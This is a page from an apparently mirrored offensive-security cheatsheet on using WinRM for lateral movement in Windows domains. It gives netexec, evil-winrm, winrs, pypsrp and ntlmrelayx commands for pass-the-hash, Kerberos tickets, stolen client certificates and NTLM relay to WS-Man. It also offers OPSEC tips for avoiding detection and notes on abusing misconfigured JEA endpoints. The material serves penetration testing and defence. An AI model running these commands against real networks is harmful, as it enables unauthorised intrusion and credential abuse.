daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

winrm.md (12766B)


      1 ---
      2 title: "WinRM"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/lateral-movement/winrm.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/lateral-movement/winrm.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # WinRM
     14 
     15 WinRM is one of the most convenient **lateral movement** transports in Windows environments because it gives you a remote shell over **WS-Man/HTTP(S)** without needing SMB service creation tricks. If the target exposes **5985/5986** and your principal is allowed to use remoting, you can often move from "valid creds" to "interactive shell" very quickly.
     16 
     17 For the **protocol/service enumeration**, listeners, enabling WinRM, `Invoke-Command`, and generic client usage, check:
     18 
     19 [5985 5986 Pentesting Winrm](/hacktricks/network-services-pentesting/5985-5986-pentesting-winrm)
     20 
     21 ## Why operators like WinRM
     22 
     23 - Uses **HTTP/HTTPS** instead of SMB/RPC, so it often works where PsExec-style execution is blocked.
     24 - With **Kerberos**, it avoids sending reusable credentials to the target.
     25 - Works cleanly from **Windows**, **Linux**, and **Python** tooling (`winrs`, `evil-winrm`, `pypsrp`, `netexec`).
     26 - The interactive PowerShell remoting path spawns **`wsmprovhost.exe`** on the target under the authenticated user context, which is operationally different from service-based exec.
     27 
     28 ## Access model and prerequisites
     29 
     30 In practice, successful WinRM lateral movement depends on **three** things:
     31 
     32 1. The target has a **WinRM listener** (`5985`/`5986`) and firewall rules that allow access.
     33 2. The account can **authenticate** to the endpoint.
     34 3. The account is allowed to **open a remoting session**.
     35 
     36 Common ways to gain that access:
     37 
     38 - **Local Administrator** on the target.
     39 - Membership in **Remote Management Users** on newer systems or **WinRMRemoteWMIUsers__** on systems/components that still honor that group.
     40 - Explicit remoting rights delegated through local security descriptors / PowerShell remoting ACL changes.
     41 
     42 If you already control a box with admin rights, remember you can also **delegate WinRM access without full admin group membership** using the techniques described here:
     43 
     44 [Security Descriptors](/hacktricks/windows-hardening/active-directory-methodology/security-descriptors)
     45 
     46 ### Authentication gotchas that matter during lateral movement
     47 
     48 - **Kerberos requires a hostname/FQDN**. If you connect by IP, the client usually falls back to **NTLM/Negotiate**.
     49 - In **workgroup** or cross-trust edge cases, NTLM commonly requires either **HTTPS** or the target to be added to **TrustedHosts** on the client.
     50 - With **local accounts** over Negotiate in a workgroup, UAC remote restrictions may prevent access unless the built-in Administrator account is used or `LocalAccountTokenFilterPolicy=1`.
     51 - PowerShell remoting defaults to the **`HTTP/<host>` SPN**. In environments where `HTTP/<host>` is already registered to some other service account, WinRM Kerberos may fail with `0x80090322`; use a port-qualified SPN or switch to **`WSMAN/<host>`** where that SPN exists.<sup>[[3]](#references)</sup>
     52 
     53 If you land valid credentials during password spraying, validating them over WinRM is often the fastest way to check whether they translate into a shell:
     54 
     55 [Password Spraying](/hacktricks/windows-hardening/active-directory-methodology/password-spraying)
     56 
     57 ## Linux-to-Windows lateral movement
     58 
     59 ### NetExec / CrackMapExec for validation and one-shot execution
     60 
     61 ```bash
     62 # Validate creds and execute a simple command
     63 netexec winrm <HOST_FQDN> -u <USER> -p '<PASSWORD>' -x "whoami /all"
     64 
     65 # Pass-the-Hash
     66 netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -x "hostname"
     67 
     68 # PowerShell command instead of cmd.exe
     69 netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -X '$PSVersionTable'
     70 ```
     71 
     72 ### Evil-WinRM for interactive shells
     73 
     74 `evil-winrm` remains the most convenient interactive option from Linux because it supports **passwords**, **NT hashes**, **Kerberos tickets**, **client certificates**, file transfer, and in-memory PowerShell/.NET loading.
     75 
     76 ```bash
     77 # Password
     78 evil-winrm -i <HOST_FQDN> -u <USER> -p '<PASSWORD>'
     79 
     80 # Pass-the-Hash
     81 evil-winrm -i <HOST_FQDN> -u <USER> -H <NTHASH>
     82 
     83 # Kerberos using an existing ccache/kirbi
     84 export KRB5CCNAME=./user.ccache
     85 evil-winrm -i <HOST_FQDN> -r <REALM.LOCAL>
     86 ```
     87 
     88 ### Kerberos SPN edge case: `HTTP` vs `WSMAN`
     89 
     90 When the default **`HTTP/<host>`** SPN causes Kerberos failures, try requesting/using a **`WSMAN/<host>`** ticket instead. This appears in hardened or odd enterprise setups where `HTTP/<host>` is already attached to another service account.<sup>[[3]](#references)</sup>
     91 
     92 ```bash
     93 # Example: use a WSMAN ticket instead of the default HTTP SPN
     94 export KRB5CCNAME=administrator@WSMAN_srv01.domain.local@DOMAIN.LOCAL.ccache
     95 evil-winrm -i srv01.domain.local -r DOMAIN.LOCAL --spn WSMAN
     96 ```
     97 
     98 This is also useful after **RBCD / S4U** abuse when you specifically forged or requested a **WSMAN** service ticket rather than a generic `HTTP` ticket.
     99 
    100 ### Certificate-based authentication
    101 
    102 WinRM also supports **client certificate authentication**, but the certificate must be mapped on the target to a **local account**. From an offensive perspective this matters when:
    103 
    104 - you stole/exported a valid client certificate and private key already mapped for WinRM;
    105 - you abused **AD CS / Pass-the-Certificate** to obtain a certificate for a principal and then pivot into another authentication path;
    106 - you are operating in environments that deliberately avoid password-based remoting.
    107 
    108 ```bash
    109 evil-winrm -i <HOST_FQDN> -S -c user.crt -k user.key
    110 ```
    111 
    112 Client-certificate WinRM is much less common than password/hash/Kerberos auth, but when it exists it can provide a **passwordless lateral movement** path that survives password rotation.
    113 
    114 ### Python / automation with `pypsrp`
    115 
    116 If you need automation rather than an operator shell, `pypsrp` gives you WinRM/PSRP from Python with **NTLM**, **certificate auth**, **Kerberos**, and **CredSSP** support.<sup>[[2]](#references)</sup>
    117 
    118 ```python
    119 from pypsrp.client import Client
    120 
    121 client = Client(
    122     "srv01.domain.local",
    123     username="DOMAIN\\user",
    124     password="Password123!",
    125     ssl=False,
    126 )
    127 stdout, stderr, rc = client.execute_cmd("whoami /all")
    128 print(stdout, stderr, rc)
    129 ```
    130 
    131 
    132 If you need finer control than the high-level `Client` wrapper, the lower-level `WSMan` + `RunspacePool` APIs are useful for two common operator problems:
    133 
    134 - forcing **`WSMAN`** as the Kerberos service/SPN instead of the default `HTTP` expectation used by many PowerShell clients;
    135 - connecting to a **non-default PSRP endpoint** such as a **JEA** / custom session configuration instead of `Microsoft.PowerShell`.
    136 
    137 ```python
    138 from pypsrp.wsman import WSMan
    139 from pypsrp.powershell import PowerShell, RunspacePool
    140 
    141 wsman = WSMan(
    142     "srv01.domain.local",
    143     auth="kerberos",
    144     ssl=False,
    145     negotiate_service="WSMAN",
    146 )
    147 
    148 with wsman, RunspacePool(wsman, configuration_name="MyJEAEndpoint") as pool, PowerShell(pool) as ps:
    149     ps.add_script("whoami; Get-Command")
    150     output = ps.invoke()
    151     print(output)
    152 ```
    153 
    154 ### Custom PSRP endpoints and JEA matter during lateral movement
    155 
    156 A successful WinRM authentication does **not** always mean you land in the default unrestricted `Microsoft.PowerShell` endpoint. Mature environments may expose **custom session configurations** or **JEA** endpoints with their own ACLs and run-as behavior.<sup>[[1]](#references)</sup>
    157 
    158 If you already have code execution on a Windows host and want to understand what remoting surfaces exist, enumerate the registered endpoints:
    159 
    160 ```powershell
    161 Get-PSSessionConfiguration | Select-Object Name, Permission
    162 ```
    163 
    164 When a useful endpoint exists, target it explicitly instead of the default shell:
    165 
    166 ```powershell
    167 Enter-PSSession -ComputerName srv01.domain.local -ConfigurationName MyJEAEndpoint
    168 ```
    169 
    170 Practical offensive implications:
    171 
    172 - A **restricted** endpoint can still be enough for lateral movement if it exposes just the right cmdlets/functions for service control, file access, process creation, or arbitrary .NET / external command execution.
    173 - A **misconfigured JEA** role is especially valuable when it exposes dangerous commands such as `Start-Process`, broad wildcards, writable providers, or custom proxy functions that let you escape the intended restrictions.
    174 - Endpoints backed by **RunAs virtual accounts** or **gMSAs** change the effective security context of the commands you run. In particular, a gMSA-backed endpoint can provide **network identity on the second hop** even when a normal WinRM session would hit the classic delegation problem.
    175 
    176 ## Windows-native WinRM lateral movement
    177 
    178 ### `winrs.exe`
    179 
    180 `winrs.exe` is built in and useful when you want **native WinRM command execution** without opening an interactive PowerShell remoting session:
    181 
    182 ```batch
    183 winrs -r:srv01.domain.local cmd /c whoami
    184 winrs -r:https://srv01.domain.local:5986 -u:DOMAIN\\user -p:Password123! hostname
    185 ```
    186 
    187 Two flags are easy to forget and matter in practice:
    188 
    189 - `/noprofile` is often required when the remote principal is **not** a local administrator.
    190 - `/allowdelegate` enables the remote shell to use your credentials against a **third host** (for example, when the command needs `\\fileserver\share`).
    191 
    192 ```batch
    193 winrs -r:srv01.domain.local /noprofile cmd /c set
    194 winrs -r:srv01.domain.local /allowdelegate cmd /c dir \\fileserver.domain.local\share
    195 ```
    196 
    197 Operationally, `winrs.exe` commonly results in a remote process chain similar to:
    198 
    199 ```text
    200 svchost.exe (DcomLaunch) -> winrshost.exe -> cmd.exe /c <command>
    201 ```
    202 
    203 This is worth remembering because it differs from service-based exec and from interactive PSRP sessions.
    204 
    205 ### `winrm.cmd` / WS-Man COM instead of PowerShell remoting
    206 
    207 You can also execute through **WinRM transport** without `Enter-PSSession` by invoking WMI classes over WS-Man. This keeps the transport as WinRM while the remote execution primitive becomes **WMI `Win32_Process.Create`**:
    208 
    209 ```batch
    210 winrm invoke Create wmicimv2/Win32_Process @{CommandLine="cmd.exe /c whoami > C:\\Windows\\Temp\\who.txt"} -r:srv01.domain.local
    211 ```
    212 
    213 That approach is useful when:
    214 
    215 - PowerShell logging is heavily monitored.
    216 - You want **WinRM transport** but not a classic PS remoting workflow.
    217 - You are building or using custom tooling around the **`WSMan.Automation`** COM object.
    218 
    219 ## NTLM relay to WinRM (WS-Man)
    220 
    221 When SMB relay is blocked by signing and LDAP relay is constrained, **WS-Man/WinRM** may still be an attractive relay target. Modern `ntlmrelayx.py` includes **WinRM relay servers** and can relay to **`wsman://`** or **`winrms://`** targets.
    222 
    223 ```bash
    224 # Relay to HTTP WinRM
    225 ntlmrelayx.py -t wsman://srv01.domain.local --no-smb-server -smb2support
    226 
    227 # Relay to HTTPS WinRM
    228 ntlmrelayx.py -t winrms://srv01.domain.local --no-smb-server -smb2support
    229 ```
    230 
    231 Two practical notes:
    232 
    233 - Relay is most useful when the target accepts **NTLM** and the relayed principal is allowed to use WinRM.
    234 - Recent Impacket code specifically handles **`WSMANIDENTIFY: unauthenticated`** requests so `Test-WSMan`-style probes do not break the relay flow.
    235 
    236 For multi-hop constraints after landing a first WinRM session, check:
    237 
    238 [Kerberos Double Hop Problem](/hacktricks/windows-hardening/active-directory-methodology/kerberos-double-hop-problem)
    239 
    240 ## OPSEC and detection notes
    241 
    242 - **Interactive PowerShell remoting** usually creates **`wsmprovhost.exe`** on the target.
    243 - **`winrs.exe`** commonly creates **`winrshost.exe`** and then the requested child process.
    244 - Custom **JEA** endpoints may execute actions as **`WinRM_VA_*`** virtual accounts or as a configured **gMSA**, which changes both telemetry and second-hop behavior compared to a normal user-context shell.<sup>[[1]](#references)</sup>
    245 - Expect **network logon** telemetry, WinRM service events, and PowerShell operational/script-block logging if you use PSRP rather than raw `cmd.exe`.
    246 - If you only need a single command, `winrs.exe` or one-shot WinRM execution may be quieter than a long-lived interactive remoting session.
    247 - If Kerberos is available, prefer **FQDN + Kerberos** over IP + NTLM to reduce both trust issues and awkward client-side `TrustedHosts` changes.
    248 
    249 ## References
    250 
    251 - [1] [Microsoft: JEA Security Considerations](https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/jea/security-considerations?view=powershell-7.6)
    252 - [2] [pypsrp README](https://github.com/jborean93/pypsrp)
    253 - [3] [Microsoft: Error `0x80090322` when connecting PowerShell to a remote server via WinRM](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/error-0x80090322-when-connecting-powershell-to-remote-server-via-winrm)